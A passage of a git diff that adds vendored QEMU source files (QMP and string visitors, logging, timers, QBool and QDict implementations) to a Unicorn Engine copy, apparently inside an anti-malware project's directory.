stack; +}; + +#define qmp_output_add(qov, name, value) \ + qmp_output_add_obj(qov, name, QOBJECT(value)) +#define qmp_output_push(qov, value) qmp_output_push_obj(qov, QOBJECT(value)) + +static QmpOutputVisitor *to_qov(Visitor *v) +{ + return container_of(v, QmpOutputVisitor, visitor); +} + +static void qmp_output_push_obj(QmpOutputVisitor *qov, QObject *value) +{ + QStackEntry *e = g_malloc0(sizeof(*e)); + + e->value = value; + if (qobject_type(e->value) == QTYPE_QLIST) { + e->is_list_head = true; + } + QTAILQ_INSERT_HEAD(&qov->stack, e, node); +} + +static QObject *qmp_output_pop(QmpOutputVisitor *qov) +{ + QStackEntry *e = QTAILQ_FIRST(&qov->stack); + QObject *value; + QTAILQ_REMOVE(&qov->stack, e, node); + value = e->value; + g_free(e); + return value; +} + +static QObject *qmp_output_first(QmpOutputVisitor *qov) +{ + QStackEntry *e = QTAILQ_LAST(&qov->stack, QStack); + + /* FIXME - find a better way to deal with NULL values */ + if (!e) { + return NULL; + } + + return e->value; +} + +static QObject *qmp_output_last(QmpOutputVisitor *qov) +{ + QStackEntry *e = QTAILQ_FIRST(&qov->stack); + return e->value; +} + +static void qmp_output_add_obj(QmpOutputVisitor *qov, const char *name, + QObject *value) +{ + QObject *cur; + + if (QTAILQ_EMPTY(&qov->stack)) { + qmp_output_push_obj(qov, value); + return; + } + + cur = qmp_output_last(qov); + + switch (qobject_type(cur)) { + case QTYPE_QDICT: + qdict_put_obj(qobject_to_qdict(cur), name, value); + break; + case QTYPE_QLIST: + qlist_append_obj(qobject_to_qlist(cur), value); + break; + default: + qobject_decref(qmp_output_pop(qov)); + qmp_output_push_obj(qov, value); + break; + } +} + +static void qmp_output_start_struct(Visitor *v, void **obj, const char *kind, + const char *name, size_t unused, + Error **errp) +{ + QmpOutputVisitor *qov = to_qov(v); + QDict *dict = qdict_new(); + + qmp_output_add(qov, name, dict); + qmp_output_push(qov, dict); +} + +static void qmp_output_end_struct(Visitor *v, Error **errp) +{ + QmpOutputVisitor *qov = to_qov(v); + qmp_output_pop(qov); +} + +static void qmp_output_start_list(Visitor *v, const char *name, Error **errp) +{ + QmpOutputVisitor *qov = to_qov(v); + QList *list = qlist_new(); + + qmp_output_add(qov, name, list); + qmp_output_push(qov, list); +} + +static GenericList *qmp_output_next_list(Visitor *v, GenericList **listp, + Error **errp) +{ + GenericList *list = *listp; + QmpOutputVisitor *qov = to_qov(v); + QStackEntry *e = QTAILQ_FIRST(&qov->stack); + + assert(e); + if (e->is_list_head) { + e->is_list_head = false; + return list; + } + + return list ? list->next : NULL; +} + +static void qmp_output_end_list(Visitor *v, Error **errp) +{ + QmpOutputVisitor *qov = to_qov(v); + qmp_output_pop(qov); +} + +static void qmp_output_type_int(Visitor *v, int64_t *obj, const char *name, + Error **errp) +{ + QmpOutputVisitor *qov = to_qov(v); + qmp_output_add(qov, name, qint_from_int(*obj)); +} + +static void qmp_output_type_bool(Visitor *v, bool *obj, const char *name, + Error **errp) +{ + QmpOutputVisitor *qov = to_qov(v); + qmp_output_add(qov, name, qbool_from_int(*obj)); +} + +static void qmp_output_type_str(Visitor *v, char **obj, const char *name, + Error **errp) +{ + QmpOutputVisitor *qov = to_qov(v); + if (*obj) { + qmp_output_add(qov, name, qstring_from_str(*obj)); + } else { + qmp_output_add(qov, name, qstring_from_str("")); + } +} + +static void qmp_output_type_number(Visitor *v, double *obj, const char *name, + Error **errp) +{ + QmpOutputVisitor *qov = to_qov(v); + qmp_output_add(qov, name, qfloat_from_double(*obj)); +} + +QObject *qmp_output_get_qobject(QmpOutputVisitor *qov) +{ + QObject *obj = qmp_output_first(qov); + if (obj) { + qobject_incref(obj); + } + return obj; +} + +Visitor *qmp_output_get_visitor(QmpOutputVisitor *v) +{ + return &v->visitor; +} + +void qmp_output_visitor_cleanup(QmpOutputVisitor *v) +{ + QStackEntry *e, *tmp; + + /* The bottom QStackEntry, if any, owns the root QObject. See the + * qmp_output_push_obj() invocations in qmp_output_add_obj(). */ + QObject *root = QTAILQ_EMPTY(&v->stack) ? NULL : qmp_output_first(v); + + QTAILQ_FOREACH_SAFE(e, &v->stack, node, tmp) { + QTAILQ_REMOVE(&v->stack, e, node); + g_free(e); + } + + qobject_decref(root); + g_free(v); +} + +QmpOutputVisitor *qmp_output_visitor_new(void) +{ + QmpOutputVisitor *v; + + v = g_malloc0(sizeof(*v)); + + v->visitor.start_struct = qmp_output_start_struct; + v->visitor.end_struct = qmp_output_end_struct; + v->visitor.start_list = qmp_output_start_list; + v->visitor.next_list = qmp_output_next_list; + v->visitor.end_list = qmp_output_end_list; + v->visitor.type_enum = output_type_enum; + v->visitor.type_int = qmp_output_type_int; + v->visitor.type_bool = qmp_output_type_bool; + v->visitor.type_str = qmp_output_type_str; + v->visitor.type_number = qmp_output_type_number; + + QTAILQ_INIT(&v->stack); + + return v; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qapi/string-input-visitor.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi/string-input-visitor.c new file mode 100644 index 0000000..cc5826e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qapi/string-input-visitor.c @@ -0,0 +1,325 @@ +/* + * String parsing visitor + * + * Copyright Red Hat, Inc. 2012 + * + * Author: Paolo Bonzini + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#include "qemu-common.h" +#include "qapi/string-input-visitor.h" +#include "qapi/visitor-impl.h" +#include "qapi/qmp/qerror.h" +#include "qemu/queue.h" +#include "qemu/range.h" +#include // strtoll + + +struct StringInputVisitor +{ + Visitor visitor; + + bool head; + + GList *ranges; + GList *cur_range; + int64_t cur; + + const char *string; +}; + +static void free_range(void *range, void *dummy) +{ + g_free(range); +} + +static void parse_str(StringInputVisitor *siv, Error **errp) +{ + char *str = (char *) siv->string; + long long start, end; + Range *cur; + char *endptr; + + if (siv->ranges) { + return; + } + + do { + errno = 0; + start = strtoll(str, &endptr, 0); + if (errno == 0 && endptr > str) { + if (*endptr == '\0') { + cur = g_malloc0(sizeof(*cur)); + cur->begin = start; + cur->end = start + 1; + siv->ranges = g_list_insert_sorted_merged(siv->ranges, cur, + range_compare); + cur = NULL; + str = NULL; + } else if (*endptr == '-') { + str = endptr + 1; + errno = 0; + end = strtoll(str, &endptr, 0); + if (errno == 0 && endptr > str && start <= end && + (start > INT64_MAX - 65536 || + end < start + 65536)) { + if (*endptr == '\0') { + cur = g_malloc0(sizeof(*cur)); + cur->begin = start; + cur->end = end + 1; + siv->ranges = + g_list_insert_sorted_merged(siv->ranges, + cur, + range_compare); + cur = NULL; + str = NULL; + } else if (*endptr == ',') { + str = endptr + 1; + cur = g_malloc0(sizeof(*cur)); + cur->begin = start; + cur->end = end + 1; + siv->ranges = + g_list_insert_sorted_merged(siv->ranges, + cur, + range_compare); + cur = NULL; + } else { + goto error; + } + } else { + goto error; + } + } else if (*endptr == ',') { + str = endptr + 1; + cur = g_malloc0(sizeof(*cur)); + cur->begin = start; + cur->end = start + 1; + siv->ranges = g_list_insert_sorted_merged(siv->ranges, + cur, + range_compare); + cur = NULL; + } else { + goto error; + } + } else { + goto error; + } + } while (str); + + return; +error: + g_list_foreach(siv->ranges, free_range, NULL); + g_list_free(siv->ranges); + siv->ranges = NULL; +} + +static void +start_list(Visitor *v, const char *name, Error **errp) +{ + StringInputVisitor *siv = DO_UPCAST(StringInputVisitor, visitor, v); + + parse_str(siv, errp); + + siv->cur_range = g_list_first(siv->ranges); + if (siv->cur_range) { + Range *r = siv->cur_range->data; + if (r) { + siv->cur = r->begin; + } + } +} + +static GenericList * +next_list(Visitor *v, GenericList **list, Error **errp) +{ + StringInputVisitor *siv = DO_UPCAST(StringInputVisitor, visitor, v); + GenericList **link; + Range *r; + + if (!siv->ranges || !siv->cur_range) { + return NULL; + } + + r = siv->cur_range->data; + if (!r) { + return NULL; + } + + if ((uint64_t)siv->cur < r->begin || (uint64_t)siv->cur >= r->end) { + siv->cur_range = g_list_next(siv->cur_range); + if (!siv->cur_range) { + return NULL; + } + r = siv->cur_range->data; + if (!r) { + return NULL; + } + siv->cur = r->begin; + } + + if (siv->head) { + link = list; + siv->head = false; + } else { + link = &(*list)->next; + } + + *link = g_malloc0(sizeof **link); + return *link; +} + +static void +end_list(Visitor *v, Error **errp) +{ + StringInputVisitor *siv = DO_UPCAST(StringInputVisitor, visitor, v); + siv->head = true; +} + +static void parse_type_int(Visitor *v, int64_t *obj, const char *name, + Error **errp) +{ + StringInputVisitor *siv = DO_UPCAST(StringInputVisitor, visitor, v); + + if (!siv->string) { + error_set(errp, QERR_INVALID_PARAMETER_TYPE, name ? name : "null", + "integer"); + return; + } + + parse_str(siv, errp); + + if (!siv->ranges) { + goto error; + } + + if (!siv->cur_range) { + Range *r; + + siv->cur_range = g_list_first(siv->ranges); + if (!siv->cur_range) { + goto error; + } + + r = siv->cur_range->data; + if (!r) { + goto error; + } + + siv->cur = r->begin; + } + + *obj = siv->cur; + siv->cur++; + return; + +error: + error_set(errp, QERR_INVALID_PARAMETER_VALUE, name, + "an int64 value or range"); +} + +static void parse_type_bool(Visitor *v, bool *obj, const char *name, + Error **errp) +{ + StringInputVisitor *siv = DO_UPCAST(StringInputVisitor, visitor, v); + + if (siv->string) { + if (!strcasecmp(siv->string, "on") || + !strcasecmp(siv->string, "yes") || + !strcasecmp(siv->string, "true")) { + *obj = true; + return; + } + if (!strcasecmp(siv->string, "off") || + !strcasecmp(siv->string, "no") || + !strcasecmp(siv->string, "false")) { + *obj = false; + return; + } + } + + error_set(errp, QERR_INVALID_PARAMETER_TYPE, name ? name : "null", + "boolean"); +} + +static void parse_type_str(Visitor *v, char **obj, const char *name, + Error **errp) +{ + StringInputVisitor *siv = DO_UPCAST(StringInputVisitor, visitor, v); + if (siv->string) { + *obj = g_strdup(siv->string); + } else { + error_set(errp, QERR_INVALID_PARAMETER_TYPE, name ? name : "null", + "string"); + } +} + +static void parse_type_number(Visitor *v, double *obj, const char *name, + Error **errp) +{ + StringInputVisitor *siv = DO_UPCAST(StringInputVisitor, visitor, v); + char *endp = (char *) siv->string; + double val; + + errno = 0; + if (siv->string) { + val = strtod(siv->string, &endp); + } + if (!siv->string || errno || endp == siv->string || *endp) { + error_set(errp, QERR_INVALID_PARAMETER_TYPE, name ? name : "null", + "number"); + return; + } + + *obj = val; +} + +static void parse_optional(Visitor *v, bool *present, const char *name, + Error **errp) +{ + StringInputVisitor *siv = DO_UPCAST(StringInputVisitor, visitor, v); + + if (!siv->string) { + *present = false; + return; + } + + *present = true; +} + +Visitor *string_input_get_visitor(StringInputVisitor *v) +{ + return &v->visitor; +} + +void string_input_visitor_cleanup(StringInputVisitor *v) +{ + g_list_foreach(v->ranges, free_range, NULL); + g_list_free(v->ranges); + g_free(v); +} + +StringInputVisitor *string_input_visitor_new(const char *str) +{ + StringInputVisitor *v; + + v = g_malloc0(sizeof(*v)); + + v->visitor.type_enum = input_type_enum; + v->visitor.type_int = parse_type_int; + v->visitor.type_size = NULL; + v->visitor.type_bool = parse_type_bool; + v->visitor.type_str = parse_type_str; + v->visitor.type_number = parse_type_number; + v->visitor.start_list = start_list; + v->visitor.next_list = next_list; + v->visitor.end_list = end_list; + v->visitor.optional = parse_optional; + + v->string = str; + v->head = true; + return v; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qemu-log.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qemu-log.c new file mode 100644 index 0000000..6198eb6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qemu-log.c @@ -0,0 +1,47 @@ +/* + * Logging support + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "qemu-common.h" +#include "qemu/log.h" + +FILE *qemu_logfile; +int qemu_loglevel; + +void qemu_log(const char *fmt, ...) +{ + va_list ap; + + va_start(ap, fmt); + if (qemu_logfile) { + vfprintf(qemu_logfile, fmt, ap); + } + va_end(ap); +} + +void qemu_log_mask(int mask, const char *fmt, ...) +{ + va_list ap; + + va_start(ap, fmt); + if ((qemu_loglevel & mask) && qemu_logfile) { + vfprintf(qemu_logfile, fmt, ap); + } + va_end(ap); +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qemu-timer.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qemu-timer.c new file mode 100644 index 0000000..28e5121 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qemu-timer.c @@ -0,0 +1,103 @@ +/* + * QEMU System Emulator + * + * Copyright (c) 2003-2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +/* Modified for Unicorn Engine by Nguyen Anh Quynh, 2015 */ + +#include "sysemu/sysemu.h" + +#include "hw/hw.h" + +#include "qemu/timer.h" + +#ifdef CONFIG_PPOLL +#include +#endif + +#ifdef CONFIG_PRCTL_PR_SET_TIMERSLACK +#include +#endif + +#include "uc_priv.h" + +/***********************************************************/ +/* timers */ + +typedef struct QEMUClock { + /* We rely on BQL to protect the timerlists */ + QLIST_HEAD(, QEMUTimerList) timerlists; + + int64_t last; + + QEMUClockType type; + bool enabled; +} QEMUClock; + +static QEMUClock qemu_clocks[QEMU_CLOCK_MAX]; + +/** + * qemu_clock_ptr: + * @type: type of clock + * + * Translate a clock type into a pointer to QEMUClock object. + * + * Returns: a pointer to the QEMUClock object + */ +static inline QEMUClock *qemu_clock_ptr(QEMUClockType type) +{ + return &qemu_clocks[type]; +} + +/* return the host CPU cycle counter and handle stop/restart */ +int64_t cpu_get_ticks(void) +{ + return cpu_get_real_ticks(); +} + +/* return the host CPU monotonic timer and handle stop/restart */ +int64_t cpu_get_clock(void) +{ + return get_clock(); +} + +int64_t qemu_clock_get_ns(QEMUClockType type) +{ + int64_t now, last; + QEMUClock *clock = qemu_clock_ptr(type); + + switch (type) { + case QEMU_CLOCK_REALTIME: + return get_clock(); + default: + case QEMU_CLOCK_VIRTUAL: + return cpu_get_clock(); + case QEMU_CLOCK_HOST: + now = get_clock_realtime(); + last = clock->last; + clock->last = now; + if (now < last) { + // notifier_list_notify(&clock->reset_notifiers, &now); // FIXME + } + return now; + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/Makefile.objs b/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/Makefile.objs new file mode 100644 index 0000000..8d85254 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/Makefile.objs @@ -0,0 +1,2 @@ +util-obj-y = qint.o qstring.o qdict.o qlist.o qfloat.o qbool.o +util-obj-y += qerror.o diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qbool.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qbool.c new file mode 100644 index 0000000..df4a23b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qbool.c @@ -0,0 +1,68 @@ +/* + * QBool Module + * + * Copyright IBM, Corp. 2009 + * + * Authors: + * Anthony Liguori + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#include "qapi/qmp/qbool.h" +#include "qapi/qmp/qobject.h" +#include "qemu-common.h" + +static void qbool_destroy_obj(QObject *obj); + +static const QType qbool_type = { + QTYPE_QBOOL, + qbool_destroy_obj, +}; + +/** + * qbool_from_int(): Create a new QBool from an int + * + * Return strong reference. + */ +QBool *qbool_from_int(int value) +{ + QBool *qb; + + qb = g_malloc(sizeof(*qb)); + qb->value = value; + QOBJECT_INIT(qb, &qbool_type); + + return qb; +} + +/** + * qbool_get_int(): Get the stored int + */ +int qbool_get_int(const QBool *qb) +{ + return qb->value; +} + +/** + * qobject_to_qbool(): Convert a QObject into a QBool + */ +QBool *qobject_to_qbool(const QObject *obj) +{ + if (qobject_type(obj) != QTYPE_QBOOL) + return NULL; + + return container_of(obj, QBool, base); +} + +/** + * qbool_destroy_obj(): Free all memory allocated by a + * QBool object + */ +static void qbool_destroy_obj(QObject *obj) +{ + assert(obj != NULL); + g_free(qobject_to_qbool(obj)); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qdict.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qdict.c new file mode 100644 index 0000000..e1a96a4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qobject/qdict.c @@ -0,0 +1,699 @@ +/* + * QDict Module + * + * Copyright (C) 2009 Red Hat Inc. + * + * Authors: + * Luiz Capitulino + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + */ + +#include "qapi/qmp/qint.h" +#include "qapi/qmp/qfloat.h" +#include "qapi/qmp/qdict.h" +#include "qapi/qmp/qbool.h" +#include "qapi/qmp/qstring.h" +#include "qapi/qmp/qobject.h" +#include "qemu/queue.h" +#include "qemu-common.h" + +static void qdict_destroy_obj(QObject *obj); + +static const QType qdict_type = { + QTYPE_QDICT, + qdict_destroy_obj, +}; + +/** + * qdict_new(): Create a new QDict + * + * Return strong reference. + */ +QDict *qdict_new(void) +{ + QDict *qdict; + + qdict = g_malloc0(sizeof(*qdict)); + QOBJECT_INIT(qdict, &qdict_type); + + return qdict; +} + +/** + * qobject_to_qdict(): Convert a QObject into a QDict + */ +QDict *qobject_to_qdict(const QObject *obj) +{ + if (qobject_type(obj) != QTYPE_QDICT) + return NULL; + + return container_of(obj, QDict, base); +} + +/** + * tdb_hash(): based on the hash agorithm from gdbm, via tdb + * (from module-init-tools) + */ +static unsigned int tdb_hash(const char *name) +{ + unsigned value; /* Used to compute the hash value. */ + unsigned i; /* Used to cycle through random values. */ + + /* Set the initial value from the key size. */ + for (value = 0x238F13AF * strlen(name), i=0; name[i]; i++) + value = (value + (((const unsigned char *)name)[i] << (i*5 % 24))); + + return (1103515243 * value + 12345); +} + +/** + * alloc_entry(): allocate a new QDictEntry + */ +static QDictEntry *alloc_entry(const char *key, QObject *value) +{ + QDictEntry *entry; + + entry = g_malloc0(sizeof(*entry)); + entry->key = g_strdup(key); + entry->value = value; + + return entry; +} + +/** + * qdict_entry_value(): Return qdict entry value + * + * Return weak reference. + */ +QObject *qdict_entry_value(const QDictEntry *entry) +{ + return entry->value; +} + +/** + * qdict_entry_key(): Return qdict entry key + * + * Return a *pointer* to the string, it has to be duplicated before being + * stored. + */ +const char *qdict_entry_key(const QDictEntry *entry) +{ + return entry->key; +} + +/** + * qdict_find(): List lookup function + */ +static QDictEntry *qdict_find(const QDict *qdict, + const char *key, unsigned int bucket) +{ + QDictEntry *entry; + + QLIST_FOREACH(entry, &qdict->table[bucket], next) + if (!strcmp(entry->key, key)) + return entry; + + return NULL; +} + +/** + * qdict_put_obj(): Put a new QObject into the dictionary + * + * Insert the pair 'key:value' into 'qdict', if 'key' already exists + * its 'value' will be replaced. + * + * This is done by freeing the reference to the stored QObject and + * storing the new one in the same entry. + * + * NOTE: ownership of 'value' is transferred to the QDict + */ +void qdict_put_obj(QDict *qdict, const char *key, QObject *value) +{ + unsigned int bucket; + QDictEntry *entry; + + bucket = tdb_hash(key) % QDICT_BUCKET_MAX; + entry = qdict_find(qdict, key, bucket); + if (entry) { + /* replace key's value */ + qobject_decref(entry->value); + entry->value = value; + } else { + /* allocate a new entry */ + entry = alloc_entry(key, value); + QLIST_INSERT_HEAD(&qdict->table[bucket], entry, next); + qdict->size++; + } +} + +/** + * qdict_get(): Lookup for a given 'key' + * + * Return a weak reference to the QObject associated with 'key' if + * 'key' is present in the dictionary, NULL otherwise. + */ +QObject *qdict_get(const QDict *qdict, const char *key) +{ + QDictEntry *entry; + + entry = qdict_find(qdict, key, tdb_hash(key) % QDICT_BUCKET_MAX); + return (entry == NULL ? NULL : entry->value); +} + +/** + * qdict_haskey(): Check if 'key' exists + * + * Return 1 if 'key' exists in the dict, 0 otherwise + */ +int qdict_haskey(const QDict *qdict, const char *key) +{ + unsigned int bucket = tdb_hash(key) % QDICT_BUCKET_MAX; + return (qdict_find(qdict, key, bucket) == NULL ? 0 : 1); +} + +/** + * qdict_size(): Return the size of the dictionary + */ +size_t qdict_size(const QDict *qdict) +{ + return qdict->size; +} + +/** + * qdict_get_obj(): Get a QObject of a specific type + */ +static QObject *qdict_get_obj(const QDict *qdict, const char *key, + qtype_code type) +{ + QObject *obj; + + obj = qdict_get(qdict, key); + assert(obj != NULL); + assert(qobject_type(obj) == type); + + return obj; +} + +/** + * qdict_get_double(): Get an number mapped by 'key' + * + * This function assumes that 'key' exists and it stores a + * QFloat or QInt object. + * + * Return number mapped by 'key'. + */ +double qdict_get_double(const QDict *qdict, const char *key) +{ + QObject *obj = qdict_get(qdict, key); + + assert(obj); + switch (qobject_type(obj)) { + case QTYPE_QFLOAT: + return qfloat_get_double(qobject_to_qfloat(obj)); + case QTYPE_QINT: + return (double)qint_get_int(qobject_to_qint(obj)); + default: + abort(); + } +} + +/** + * qdict_get_int(): Get an integer mapped by 'key' + * + * This function assumes that 'key' exists and it stores a + * QInt object. + * + * Return integer mapped by 'key'. + */ +int64_t qdict_get_int(const QDict *qdict, const char *key) +{ + QObject *obj = qdict_get_obj(qdict, key, QTYPE_QINT); + return qint_get_int(qobject_to_qint(obj)); +} + +/** + * qdict_get_bool(): Get a bool mapped by 'key' + * + * This function assumes that 'key' exists and it stores a + * QBool object. + * + * Return bool mapped by 'key'. + */ +int qdict_get_bool(const QDict *qdict, const char *key) +{ + QObject *obj = qdict_get_obj(qdict, key, QTYPE_QBOOL); + return qbool_get_int(qobject_to_qbool(obj)); +} + +/** + * qdict_get_qlist(): Get the QList mapped by 'key' + * + * This function assumes that 'key' exists and it stores a + * QList object. + * + * Return QList mapped by 'key'. + */ +QList *qdict_get_qlist(const QDict *qdict, const char *key) +{ + return qobject_to_qlist(qdict_get_obj(qdict, key, QTYPE_QLIST)); +} + +/** + * qdict_get_qdict(): Get the QDict mapped by 'key' + * + * This function assumes that 'key' exists and it stores a + * QDict object. + * + * Return QDict mapped by 'key'. + */ +QDict *qdict_get_qdict(const QDict *qdict, const char *key) +{ + return qobject_to_qdict(qdict_get_obj(qdict, key, QTYPE_QDICT)); +} + +/** + * qdict_get_str(): Get a pointer to the stored string mapped + * by 'key' + * + * This function assumes that 'key' exists and it stores a + * QString object. + * + * Return pointer to the string mapped by 'key'. + */ +const char *qdict_get_str(const QDict *qdict, const char *key) +{ + QObject *obj = qdict_get_obj(qdict, key, QTYPE_QSTRING); + return qstring_get_str(qobject_to_qstring(obj)); +} + +/** + * qdict_get_try_int(): Try to get integer mapped by 'key' + * + * Return integer mapped by 'key', if it is not present in + * the dictionary or if the stored object is not of QInt type + * 'def_value' will be returned. + */ +int64_t qdict_get_try_int(const QDict *qdict, const char *key, + int64_t def_value) +{ + QObject *obj; + + obj = qdict_get(qdict, key); + if (!obj || qobject_type(obj) != QTYPE_QINT) + return def_value; + + return qint_get_int(qobject_to_qint(obj)); +} + +/** + * qdict_get_try_bool(): Try to get a bool mapped by 'key' + * + * Return bool mapped by 'key', if it is not present in the + * dictionary or if the stored object is not of QBool type + * 'def_value' will be returned. + */ +int qdict_get_try_bool(const QDict *qdict, const char *key, int def_value) +{ + QObject *obj; + + obj = qdict_get(qdict, key); + if (!obj || qobject_type(obj) != QTYPE_QBOOL) + return def_value; + + return qbool_get_int(qobject_to_qbool(obj)); +} + +/** + * qdict_get_try_str(): Try to get a pointer to the stored string + * mapped by 'key' + * + * Return a pointer to the string mapped by 'key', if it is not present + * in the dictionary or if the stored object is not of QString type + * NULL will be returned. + */ +const char *qdict_get_try_str(const QDict *qdict, const char *key) +{ + QObject *obj; + + obj = qdict_get(qdict, key); + if (!obj || qobject_type(obj) != QTYPE_QSTRING) + return NULL; + + return qstring_get_str(qobject_to_qstring(obj)); +} + +/** + * qdict_iter(): Iterate over all the dictionary's stored values. + * + * This function allows the user to provide an iterator, which will be + * called for each stored value in the dictionary. + */ +void qdict_iter(const QDict *qdict, + void (*iter)(const char *key, QObject *obj, void *opaque), + void *opaque) +{ + int i; + QDictEntry *entry; + + for (i = 0; i < QDICT_BUCKET_MAX; i++) { + QLIST_FOREACH(entry, &qdict->table[i], next) + iter(entry->key, entry->value, opaque); + } +} + +static QDictEntry *qdict_next_entry(const QDict *qdict, int first_bucket) +{ + int i; + + for (i = first_bucket; i < QDICT_BUCKET_MAX; i++) { + if (!QLIST_EMPTY(&qdict->table[i])) { + return QLIST_FIRST(&qdict->table[i]); + } + } + + return NULL; +} + +/** + * qdict_first(): Return first qdict entry for iteration. + */ +const QDictEntry *qdict_first(const QDict *qdict) +{ + return qdict_next_entry(qdict, 0); +} + +/** + * qdict_next(): Return next qdict entry in an iteration. + */ +const QDictEntry *qdict_next(const QDict *qdict, const QDictEntry *entry) +{ + QDictEntry *ret; + + ret = QLIST_NEXT(entry, next); + if (!ret) { + unsigned int bucket = tdb_hash(entry->key) % QDICT_BUCKET_MAX; + ret = qdict_next_entry(qdict, bucket + 1); + } + + return ret; +} + +/** + * qdict_clone_shallow(): Clones a given QDict. Its entries are not copied, but + * another reference is added. + */ +QDict *qdict_clone_shallow(const QDict *src) +{ + QDict *dest; + QDictEntry *entry; + int i; + + dest = qdict_new(); + + for (i = 0; i < QDICT_BUCKET_MAX; i++) { + QLIST_FOREACH(entry, &src->table[i], next) { + qobject_incref(entry->value); + qdict_put_obj(dest, entry->key, entry->value); + } + } + + return dest; +} + +/** + * qentry_destroy(): Free all the memory allocated by a QDictEntry + */ +static void qentry_destroy(QDictEntry *e) +{ + assert(e != NULL); + assert(e->key != NULL); + assert(e->value != NULL); + + qobject_decref(e->value); + g_free(e->key); + g_free(e); +} + +/** + * qdict_del(): Delete a 'key:value' pair from the dictionary + * + * This will destroy all data allocated by this entry. + */ +void qdict_del(QDict *qdict, const char *key) +{ + QDictEntry *entry; + + entry = qdict_find(qdict, key, tdb_hash(key) % QDICT_BUCKET_MAX); + if (entry) { + QLIST_REMOVE(entry, next); + qentry_destroy(entry); + qdict->size--; + } +} + +/** + * qdict_destroy_obj(): Free all the memory allocated by a QDict + */ +static void qdict_destroy_obj(QObject *obj) +{ + int i; + QDict *qdict; + + assert(obj != NULL); + qdict = qobject_to_qdict(obj); + + for (i = 0; i < QDICT_BUCKET_MAX; i++) { + QDictEntry *entry = QLIST_FIRST(&qdict->table[i]); + while (entry) { + QDictEntry *tmp = QLIST_NEXT(entry, next); + QLIST_REMOVE(entry, next); + qentry_destroy(entry); + entry = tmp; + } + } + + g_free(qdict); +} + +static void qdict_flatten_qdict(QDict *qdict, QDict *target, + const char *prefix); + +static void qdict_flatten_qlist(QList *qlist, QDict *target, const char *prefix) +{ + QObject *value; + const QListEntry *entry; + char *new_key; + int i; + + /* This function is never called with prefix == NULL, i.e., it is always + * called from within qdict_flatten_q(list|dict)(). Therefore, it does not + * need to remove list entries during the iteration (the whole list will be + * deleted eventually anyway from qdict_flatten_qdict()). */ + assert(prefix); + + entry = qlist_first(qlist); + + for (i = 0; entry; entry = qlist_next(entry), i++) { + value = qlist_entry_obj(entry); + new_key = g_strdup_printf("%s.%i", prefix, i); + + if (qobject_type(value) == QTYPE_QDICT) { + qdict_flatten_qdict(qobject_to_qdict(value), target, new_key); + } else if (qobject_type(value) == QTYPE_QLIST) { + qdict_flatten_qlist(qobject_to_qlist(value), target, new_key); + } else { + /* All other types are moved to the target unchanged. */ + qobject_incref(value); + qdict_put_obj(target, new_key, value); + } + + g_free(new_key); + } +} + +static void qdict_flatten_qdict(QDict *qdict, QDict *target, const char *prefix) +{ + QObject *value; + const QDictEntry *entry, *next; + char *new_key; + bool delete; + + entry = qdict_first(qdict); + + while (entry != NULL) { + + next = qdict_next(qdict, entry); + value = qdict_entry_value(entry); + new_key = NULL; + delete = false; + + if (prefix) { + new_key = g_strdup_printf("%s.%s", prefix, entry->key); + } + + if (qobject_type(value) == QTYPE_QDICT) { + /* Entries of QDicts are processed recursively, the QDict object + * itself disappears. */ + qdict_flatten_qdict(qobject_to_qdict(value), target, + new_key ? new_key : entry->key); + delete = true; + } else if (qobject_type(value) == QTYPE_QLIST) { + qdict_flatten_qlist(qobject_to_qlist(value), target, + new_key ? new_key : entry->key); + delete = true; + } else if (prefix) { + /* All other objects are moved to the target unchanged. */ + qobject_incref(value); + qdict_put_obj(target, new_key, value); + delete = true; + } + + 